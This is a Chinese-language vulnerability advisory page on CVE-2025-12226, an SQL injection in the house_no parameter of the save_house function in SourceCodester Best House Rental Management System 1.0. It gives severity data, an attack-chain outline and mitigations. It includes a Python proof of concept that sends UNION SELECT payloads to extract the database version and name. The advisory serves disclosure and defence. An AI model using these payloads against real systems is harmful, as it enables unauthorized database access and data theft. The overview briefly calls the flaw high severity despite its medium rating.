IPBUF安全漏洞报告
English
CVE-2025-12226 CVSS 4.7 中危

CVE-2025-12226 SourceCodester房屋租赁系统save_house函数SQL注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12226
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Best House Rental Management System 1.0

相关标签

SQL注入CVE-2025-12226SourceCodester房屋租赁系统Web应用安全数据库漏洞save_house函数admin_class.php中危漏洞

漏洞概述

CVE-2025-12226是SourceCodester Best House Rental Management System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/admin_class.php文件的save_house函数中,攻击者可以通过操纵house_no参数实现SQL注入攻击。由于该漏洞需要高权限用户认证才能利用(PR:H),但攻击复杂度较低(AC:L),且无需用户交互(UI:N),因此被评定为CVSS 4.7分的中危漏洞。攻击者成功利用此漏洞可导致数据库敏感信息泄露、数据篡改或删除,甚至可能在某些配置下实现远程代码执行。该漏洞的利用代码已公开,远程网络攻击可行,对系统机密性、完整性和可用性均造成低至中等程度的影响。

技术细节

该SQL注入漏洞位于SourceCodester Best House Rental Management System的/admin_class.php文件中的save_house函数。漏洞的根本原因是应用程序在处理用户输入的house_no参数时,未对其进行充分的输入验证和SQL语句参数化。具体来说,当用户提交房屋信息时,house_no参数被直接拼接到SQL查询语句中,攻击者可以通过构造恶意的SQL payloads来执行任意SQL命令。由于该函数需要管理员权限才能访问,因此攻击者需要先获取高权限账户。然而,一旦成功利用,攻击者可以绕过权限限制,执行未授权的数据库操作,包括读取敏感数据、修改租赁记录或删除关键数据。攻击者通常利用UNION SELECT、布尔盲注或时间盲注等技术来提取数据库信息。

攻击链分析

STEP 1
步骤1
攻击者扫描目标系统,识别出SourceCodester Best House Rental Management System 1.0版本
STEP 2
步骤2
攻击者获取高权限账户(管理员权限),通过正常登录流程或社会工程学手段
STEP 3
步骤3
攻击者构造恶意SQL payloads,针对/admin_class.php的save_house函数的house_no参数进行注入测试
STEP 4
步骤4
利用UNION SELECT、布尔盲注或时间盲注技术提取数据库中的敏感信息,如用户凭证、租赁数据等
STEP 5
步骤5
基于提取的信息,攻击者可进一步横向移动,修改租赁记录、删除数据或提升权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12226 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Endpoint: /admin_class.php (save_house function) TARGET_URL = "http://target.com/admin_class.php" def exploit_sqli(house_no_payload): """Send malicious house_no parameter to trigger SQL injection""" data = { 'save_house': '1', 'house_no': house_no_payload, # Add other required parameters 'price': '1000', 'description': 'Test property' } try: response = requests.post(TARGET_URL, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Example: Extract database version using UNION-based injection def extract_db_version(): payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL---" result = exploit_sqli(payload) print(f"Database version extraction result: {result}") # Example: Extract current database name def extract_db_name(): payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL---" result = exploit_sqli(payload) print(f"Database name extraction result: {result}") if __name__ == "__main__": print("CVE-2025-12226 SQL Injection PoC") print("Target: Best House Rental Management System 1.0") extract_db_version() extract_db_name()

影响范围

SourceCodester Best House Rental Management System 1.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 使用Web应用防火墙规则拦截包含SQL注入特征的请求;2) 限制save_house函数的访问权限,仅允许受信任的IP地址访问;3) 对house_no参数实施严格的输入白名单验证,仅允许数字和特定字符;4) 启用数据库审计日志,监控异常SQL查询行为;5) 实施IP速率限制,防止自动化SQL注入攻击工具的扫描。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表